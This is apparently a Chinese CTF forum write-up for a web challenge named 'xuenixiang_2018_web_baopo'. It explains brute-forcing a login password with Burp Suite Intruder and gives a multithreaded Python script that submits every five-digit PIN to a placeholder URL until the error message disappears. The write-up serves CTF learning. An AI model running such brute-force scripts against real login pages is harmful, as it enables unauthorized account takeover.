查看: 115|回复: 0

[Web] xuenixiang_2018_web_baopo

[复制链接]
发表于 2020-4-22 15:46:26 | 显示全部楼层 |阅读模式

解题思路:这一题还是能够get到新的知识点

使用burp进行抓包处理就好了

首先:打开火狐浏览器随便输入密码

xuenixiang_2018_web_baopo

xuenixiang_2018_web_baopo

点击红色箭头所指的方向就好了:

xuenixiang_2018_web_baopo

xuenixiang_2018_web_baopo



接下来就是使用右边箭头所指的地方对password进行爆破处理


xuenixiang_2018_web_baopo

xuenixiang_2018_web_baopo

这个我的文笔不太好这个地方我叙述不出来只能使用图进行描述了(希望你们能够谅解)

xuenixiang_2018_web_baopo

xuenixiang_2018_web_baopo

由于使用的台式的电脑,配置还可以使用的100线程的进行爆破就好了

然后开启爆破:

xuenixiang_2018_web_baopo

xuenixiang_2018_web_baopo

然后可以点击Length查看哪一个返回值与其他的不同,那么这个就一定是密码了,因为就这一个成功了

xuenixiang_2018_web_baopo

xuenixiang_2018_web_baopo

这个就是密码输入进去就会得到:

xuenixiang_2018_web_baopo

xuenixiang_2018_web_baopo

方法二:

可以用Burp爆破 
下面是个py3的脚本
import requests
import threading

psw = 0
lock = threading.RLock()
gotit = False
correct = ""


class BreakThread(threading.Thread):
    def run(self):
        global psw, gotit, correct
        while True:
            lock.acquire()
            if psw > 99999 or gotit:
                lock.release()
                break
            d = {
                "pwd": str(psw).zfill(5)
            }
            psw = psw + 1
            lock.release()
            r = requests.post("http://xxxxx/baopo/?yes", data=d)
            r.encoding = "utf-8"
            try:
                r.text.index("密码不正确")
            except ValueError:
                print(d["pwd"] + "   right")
                gotit = True
                lock.acquire()
                correct = d["pwd"]
                lock.release()
                break
            else:
                print(d["pwd"] + "   wrong")


l = []
for i in range(2):
    l.append(BreakThread())
for i in l:
    i.start()
for i in l:
    i.join()
print("正确密码:"+correct)






温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表